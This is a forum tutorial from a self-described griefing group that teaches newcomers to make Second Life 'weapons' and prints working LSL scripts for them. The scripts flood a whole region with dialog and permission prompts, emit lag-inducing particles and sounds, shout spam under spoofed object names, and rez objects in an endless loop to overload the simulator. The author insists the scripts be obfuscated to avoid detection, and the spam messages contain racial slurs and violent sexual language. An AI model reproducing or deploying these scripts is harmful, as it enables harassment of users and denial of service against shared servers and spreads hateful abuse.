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Help:Newfag/Building Weapons
machinecode Offline
Goonsquad Member
******
Goonsquad

Posts: 209
Threads: 153
Joined: Jul 2014
Reputation: 93
Help:Newfag/Building Weapons

Probably one of the most crucial steps of your journey in becoming a Goon, even the most inexperienced of raiders should've had the idea that they needed some proper weapons to do their job.

Does this mean that you have to make a 9001-prim realistic-looking sniper rifle that fires 100-prim bullets? No, it doesn't. That is the standard SLfag mindset, and something you should not think of.

Follow the instructions in this article to get your goon weapon-making gears into action.
Scripts

You should know by now that everything in Second Life that does even a simple action by itself or on command actually uses a script written in LSL, one of the shittiest programming languages known to mankind. With this fundamental rule in place, it is an obvious requirement that the weapons in our arsenal are all powered by one or more scripts. This is why raiding script-disabled regions is harder than script-enabled areas; the region disables the use of scripts, and thus disables most of our weapons.

Making Your Weapons

[Image: 9j7cStj.png?1?1765]

We have our weapon scripts hosted online, completely free for anyone to use. This eliminates several fundamental flaws which could hinder the efficiency of the goon, and also allows non-goon trolling groups to use our weaponry to their advantage. Anyway, there's a little link that says "You are not allowed to view links. Register or Login to view." on the main forum page. It leads to the script repository, where the scripts are located, in case you haven't figured that out already. More specific instructions are located in each scripts' articles, but the general process for making a weapon is by inserting the script into a box.

Process of inserting a script

The process for inserting scripts is very simple. So simple, that if you can't figure it out on your own, you are a fucking retard.

Get your desired griefing Script/Scripts from the link below

[Image: clickhere.gif]

1.Make an object
2.Right-click the object, and hit "Edit" on the pop-up menu
3.Click on the "Contents" tab
4.Hit "New Script"
5.Copy any script from the wiki
6.Run the script through the LSL Obfuscator. This step is imperative.
7.Copy the resulting obfuscated script
8.Paste script into the "New Script" window
9.Hit save
10.?????
11.PROFIT

Congratulations, you now know how to make your own goon weapons! Now go forth and make life hell for some SLfags.

GRAB THE SCRPT BELOW AND JA JA JAM IN A PRIM!!!!!

SCRIPT DIALOG SPAM

PHP Code:
//Multiple varieties of script spamming for entire regions.
//Basic, Untested
 
integer SPAM_YOURSELF FALSE;    //Change this to true if you want to get spammed as well. (FOR SCIENCE!)
list Friends = [""""]; //Add the key of anyone you don't want to spam.
list Buttons = ["GOONSQUAD""AP0110""GOONSQUAD""GOONSQUAD""GOONSQUAD""ARMY""GOONSQUAD"];
integer SPAM_TYPE 0;    
            
//0 = llDialog, Dialog boxes
            //1 = llLoadURL, Webpage prompts
            //2 = llRequestPermissions, Request prompts
 
default
{
    
on_rez(integer n) { 
    
llSetTimerEvent(0.04); 
    
llSetObjectName((string)llListRandomize(["0","1","2","3","4","5","6","7","8","9"],1)); }
 
    
timer()
    {
        list 
Agents llGetAgentList(AGENT_LIST_REGION, []);
        
integer iinteger jinteger SpamHim;
        
integer len llGetListLength(Agents);
        
integer len2 llGetListLength(Friends);
        
key K;
        for(; 
len; ++i)
        {
            
SpamHim TRUE;
            
llList2Key(Agentsi);
            if(
len2 0) for(0len2; ++j) if(== llList2Key(Friendsj)) SpamHim FALSE;
            if(((
!= llGetOwner()) || SPAM_YOURSELF) && SpamHim)
            {
                if(
SPAM_TYPE == 0llDialog(K"Ap0110 GOONSQUAD ARMY RAPING YOUR SIMS NIGGer NIGGER, PATRIOTIC GOONSQUAD ARMY RAPING YOUR SIMS NIGGer, Ap0110 GOONSQUAD ARMY RAPING YOUR SIMS NIGGer"Buttons1);
               if(
SPAM_TYPE == 1llLoadURL(K"U CAN BE A GOON 2""http://goonsquad.co/");
                if(
SPAM_TYPE == 2llRequestPermissions(KPERMISSION_TELEPORT);
            }
        }
    }


SCRIPT PRTICLE SPAM!!!

PHP Code:
// O LAWD, LOOK OUT, DEY GON HOOK UP
 
// Mask Flags - set to TRUE to enable
integer glow FALSE;            // Make the particles glow
integer bounce TRUE;          // Make particles bounce on Z plan of object
integer interpColor TRUE;     // Go from start to end color
integer interpSize TRUE;      // Go from start to end size
integer wind FALSE;           // Particles effected by wind
integer followSource FALSE;    // Particles follow the source
integer followVel FALSE;       // Particles turn to velocity direction
 
// Choose a pattern from the following:
// PSYS_SRC_PATTERN_EXPLODE
// PSYS_SRC_PATTERN_DROP
// PSYS_SRC_PATTERN_ANGLE_CONE_EMPTY
// PSYS_SRC_PATTERN_ANGLE_CONE
// PSYS_SRC_PATTERN_ANGLE
integer pattern PSYS_SRC_PATTERN_EXPLODE;
 
// Select a target for particles to go towards
// "" for no target, "owner" will follow object owner 
//    and "self" will target this object
//    or put the key of an object for particles to go to
key target "";
 
// Particle paramaters
float age 999999;                  // Life of each particle
float maxSpeed 10;            // Max speed each particle is spit out at
float minSpeed 5;            // Min speed each particle is spit out at
string texture "e8d605ef-b148-1f43-2a54-df162b903c49";// Texture used for particles, default used if blank
float startAlpha 1;           // Start alpha (transparency) value
float endAlpha 1;           // End alpha (transparency) value
vector startColor = <1,1,1>;    // Start color of particles <R,G,B>
vector endColor = <1,1,1>;      // End color of particles <R,G,B> (if interpColor == TRUE)
vector startSize = <20,20,20>;     // Start size of particles 
vector endSize = <20,20,20>;       // End size of particles (if interpSize == TRUE)
vector push = <0,0,-50>;          // Force pushed on particles
 
// System paramaters
float rate 0.1;            // How fast (rate) to emit particles
float radius 50.001;          // Radius to emit particles for BURST pattern
integer count 400;        // How many particles to emit per BURST 
float outerAngle 1;    // Outer angle for all ANGLE patterns
float innerAngle 0;    // Inner angle for all ANGLE patterns
vector omega = <0,0,0>;    // Rotation of ANGLE patterns around the source
float life 0;             // Life in seconds for the system to make particles
 
// Script variables
integer flags;
 
updateParticles()
{
    
flags 0;
    if (
target == "owner"target llGetOwner();
    if (
target == "self"target llGetKey();
    if (
glowflags flags PSYS_PART_EMISSIVE_MASK;
    if (
bounceflags flags PSYS_PART_BOUNCE_MASK;
    if (
interpColorflags flags PSYS_PART_INTERP_COLOR_MASK;
    if (
interpSizeflags flags PSYS_PART_INTERP_SCALE_MASK;
    if (
windflags flags PSYS_PART_WIND_MASK;
    if (
followSourceflags flags PSYS_PART_FOLLOW_SRC_MASK;
    if (
followVelflags flags PSYS_PART_FOLLOW_VELOCITY_MASK;
    if (
target != ""flags flags PSYS_PART_TARGET_POS_MASK;
 
    
llParticleSystem([  PSYS_PART_MAX_AGE,age,
                        
PSYS_PART_FLAGS,flags,
                        
PSYS_PART_START_COLORstartColor,
                        
PSYS_PART_END_COLORendColor,
                        
PSYS_PART_START_SCALE,startSize,
                        
PSYS_PART_END_SCALE,endSize
                        
PSYS_SRC_PATTERNpattern,
                        
PSYS_SRC_BURST_RATE,rate,
                        
PSYS_SRC_ACCELpush,
                        
PSYS_SRC_BURST_PART_COUNT,count,
                        
PSYS_SRC_BURST_RADIUS,radius,
                        
PSYS_SRC_BURST_SPEED_MIN,minSpeed,
                        
PSYS_SRC_BURST_SPEED_MAX,maxSpeed,
                        
PSYS_SRC_TARGET_KEY,target,
                        
PSYS_SRC_INNERANGLE,innerAngle
                        
PSYS_SRC_OUTERANGLE,outerAngle,
                        
PSYS_SRC_OMEGAomega,
                        
PSYS_SRC_MAX_AGElife,
                        
PSYS_SRC_TEXTUREtexture,
                        
PSYS_PART_START_ALPHAstartAlpha,
                        
PSYS_PART_END_ALPHAendAlpha
                            
]);
}
 
default
{
    
state_entry()
    {
        
updateParticles();
        
llLoopSound("a8f97b16-7c1f-9409-d738-ac1c15efa672"1);
        
//llSetTexture("34f7488f-202c-6f2e-3873-c6baf6666138", ALL_SIDES); 
    
}


MASS CLIENT SPAMMER

PHP Code:
string SHOUT_MESSAGE "Ap0110 says.... I am not afraid of an army of lions led by a sheep; I am afraid of an army of sheep led by a lion.  http://goonsquad.co  ";
 
default
{
     
on_rez(integer param)
    {
        
llSensorRepeat(""""AGENT1000PI.001);
    }
 
    
state_entry()
    {
    }
 
    
no_sensor ()
    {
    }
 
    
sensor (integer n)
    {
       
integer i;
 
       for (
i=0i<ni++)
       {
           if(
llDetectedKey(i)!=llGetOwner())
           {
               
llRequestPermissions(llDetectedKey(i), PERMISSION_DEBIT); // Debit dialog box is like 3 times bigger and causes more lag
               
llSetObjectName(llKey2Name(llDetectedKey(i)));
               
llShout(0SHOUT_MESSAGE);
            }
        }
    }


SCRIPT Replicator 666

PHP Code:
iinteger jesus 0;
integer sin 0;

default
{

state_entry()
{

if (
jesus == 0) {
do
llRezObject("666"llGetPos()+<0,0,1>, ZERO_VECTORZERO_ROTATION33);
while(
sin != 2);
}
//end if & do while
}
//end event
}
//end state 


Hardtoof Offline
Sneakky Goon
Registered

Posts: 29
Threads: 2
Joined: May 2014
Reputation: 8
Thanks from all the newfags for helping us get started

Tenzinfox Offline
Beginner
Registered

Posts: 2
Threads: 0
Joined: Feb 2015
Reputation: 0
very helpful!

yummychicken Offline
Beginner
Registered

Posts: 8
Threads: 0
Joined: Jan 2016
Reputation: 0
thank you, this was really helpful


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